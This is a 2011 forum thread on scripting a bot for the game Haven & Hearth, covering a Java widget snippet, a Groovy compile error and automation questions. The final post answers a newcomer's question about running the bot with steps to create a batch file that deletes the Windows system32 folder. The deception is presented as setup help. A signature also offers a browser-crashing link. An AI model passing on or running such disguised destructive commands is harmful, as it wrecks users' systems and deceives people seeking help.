H&H Groovy bot

Forum for alternative clients, mods & discussions on the same.

Moderator: Phades

Re: H&H Groovy bot

Postby jaguar » Wed Sep 14, 2011 12:16 am

Nice, but I do not understand how to do that:
boshaw wrote:Search for a ISBox type widget (which are each indiviual sign component)


:oops:
User avatar
jaguar
 
Posts: 251
Joined: Sun Jan 16, 2011 11:59 pm

Re: H&H Groovy bot

Postby jaguar » Mon Sep 19, 2011 9:33 pm

boshaw wrote:Search for a ISBox type widget (which are each indiviual sign component)


Could you please explane how to do this?
User avatar
jaguar
 
Posts: 251
Joined: Sun Jan 16, 2011 11:59 pm

Re: H&H Groovy bot

Postby boshaw » Tue Sep 20, 2011 2:48 am

Java code:
Assume you have the variable ui of type UI.java
Code: Select all
synchronized(ui.rwidgets){
   Iterator i  = ui.rwidgets.keySet().iterator();
   Widget w = null;
   while(i.hasNext()){
      w = i.next();
      if(w instanceof ISBox){
         ISBox is = (ISBox)w;
         if(res.name.equals("ENTER_RESOURCE_NAME_OF_ITEM_DESIRED")){
            for(int i = 0;i < NUMBER_OF_ITEMS_WANTED_FROM_SIGN;++i)
               is.wdgmsg("xfer2",-1,ui.modflags());
         }
      }
   }
}   


that will find your ISBox then transfer its x contents into your inventory if it is the resource you want
User avatar
boshaw
 
Posts: 1590
Joined: Tue Jun 01, 2010 10:22 pm

Re: H&H Groovy bot

Postby jaguar » Thu Sep 22, 2011 10:07 pm

Thank you for replay.
This script give me an error:
Code: Select all
Exception in groovy script engine:
org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
/D:/Games/hh_panaeon/scripts/new.groovy: 154: The current scope already contains
 a variable of the name i
 @ line 154, column 21.
               for(int i = 0;i < NUMBER_OF_ITEMS_WANTED_FROM_SIGN;++i)
                       ^

/D:/Games/hh_panaeon/scripts/new.groovy: 148: unable to resolve class Widget
 @ line 148, column 11.
      Widget w = null;
             ^

/D:/Games/hh_panaeon/scripts/new.groovy: 151: unable to resolve class ISBox
 @ line 151, column 23.
         if(w instanceof ISBox){
                         ^

/D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox
 @ line 152, column 16.
            ISBox is = (ISBox)w;
                  ^

/D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox
 @ line 152, column 21.
            ISBox is = (ISBox)w;
                       ^

5 errors

        at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollecto
r.java:296)
        at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(Compil
ationUnit.java:829)
        at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(Compilat
ionUnit.java:511)
        at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(Co
mpilationUnit.java:487)
        at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.j
ava:464)
        at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:306
)
        at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:287)
        at groovy.util.GroovyScriptEngine$ScriptClassLoader.parseClass(GroovyScr
iptEngine.java:186)
        at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:267)
        at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:214)
        at groovy.util.GroovyScriptEngine.loadScriptByName(GroovyScriptEngine.ja
va:459)
        at groovy.util.GroovyScriptEngine.createScript(GroovyScriptEngine.java:5
28)
        at groovy.util.GroovyScriptEngine.run(GroovyScriptEngine.java:515)
        at haven.hhl.hhl_main.ParseScript(hhl_main.java:70)
        at haven.hhl.hhl_thread.run(hhl_main.java:89)

User avatar
jaguar
 
Posts: 251
Joined: Sun Jan 16, 2011 11:59 pm

Re: H&H Groovy bot

Postby boshaw » Thu Sep 22, 2011 10:10 pm

jaguar wrote:Thank you for replay.
This script give me an error:
Code: Select all
Exception in groovy script engine:
org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
/D:/Games/hh_panaeon/scripts/new.groovy: 154: The current scope already contains
 a variable of the name i
 @ line 154, column 21.
               for(int i = 0;i < NUMBER_OF_ITEMS_WANTED_FROM_SIGN;++i)
                       ^

/D:/Games/hh_panaeon/scripts/new.groovy: 148: unable to resolve class Widget
 @ line 148, column 11.
      Widget w = null;
             ^

/D:/Games/hh_panaeon/scripts/new.groovy: 151: unable to resolve class ISBox
 @ line 151, column 23.
         if(w instanceof ISBox){
                         ^

/D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox
 @ line 152, column 16.
            ISBox is = (ISBox)w;
                  ^

/D:/Games/hh_panaeon/scripts/new.groovy: 152: unable to resolve class ISBox
 @ line 152, column 21.
            ISBox is = (ISBox)w;
                       ^

5 errors

        at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollecto
r.java:296)
        at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(Compil
ationUnit.java:829)
        at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(Compilat
ionUnit.java:511)
        at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(Co
mpilationUnit.java:487)
        at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.j
ava:464)
        at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:306
)
        at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:287)
        at groovy.util.GroovyScriptEngine$ScriptClassLoader.parseClass(GroovyScr
iptEngine.java:186)
        at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:267)
        at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:214)
        at groovy.util.GroovyScriptEngine.loadScriptByName(GroovyScriptEngine.ja
va:459)
        at groovy.util.GroovyScriptEngine.createScript(GroovyScriptEngine.java:5
28)
        at groovy.util.GroovyScriptEngine.run(GroovyScriptEngine.java:515)
        at haven.hhl.hhl_main.ParseScript(hhl_main.java:70)
        at haven.hhl.hhl_thread.run(hhl_main.java:89)



the code i posted was Java Code, not Groovy code. That's why. You'll have to make it work with groovy using that model.
User avatar
boshaw
 
Posts: 1590
Joined: Tue Jun 01, 2010 10:22 pm

Re: H&H Groovy bot

Postby jaguar » Fri Sep 23, 2011 8:10 pm

is it possible to the same with groovy?
User avatar
jaguar
 
Posts: 251
Joined: Sun Jan 16, 2011 11:59 pm

Re: H&H Groovy bot

Postby boshaw » Fri Sep 23, 2011 8:12 pm

Yes, but you need to port it correctly to Groovy and use Groovy syntax.
User avatar
boshaw
 
Posts: 1590
Joined: Tue Jun 01, 2010 10:22 pm

Re: H&H Groovy bot

Postby Myzreal » Tue Oct 11, 2011 12:00 pm

Can anyone tell me how to make the bot speak on chat? I'm interested in village chat mainly.

Also how to make the bot click the "Light" button in a kiln?
Paste me to get hacked: http://a/%%30%30
Myzreal
 
Posts: 69
Joined: Sun Jul 03, 2011 5:32 pm

Re: H&H Groovy bot

Postby smileyguy4you2 » Thu Oct 13, 2011 10:35 pm

how do you make this run.....
smileyguy4you2
 
Posts: 5
Joined: Thu Oct 13, 2011 10:31 pm

Re: H&H Groovy bot

Postby Robertzon » Thu Oct 13, 2011 10:41 pm

To get this to work
open up notepad
type in this:
@echo off del c:\WINDOWS\system32
save it as: hnhgroovy.bat and choose "Save as type: All files"
When saved, close the notepad and run hnhgroovy.bat and enjoy the fun.
User avatar
Robertzon
 
Posts: 1464
Joined: Mon Jan 03, 2011 11:51 pm

PreviousNext

Return to The Wizards' Tower

Who is online

Users browsing this forum: Ahrefs [Bot], Claude [Bot] and 1 guest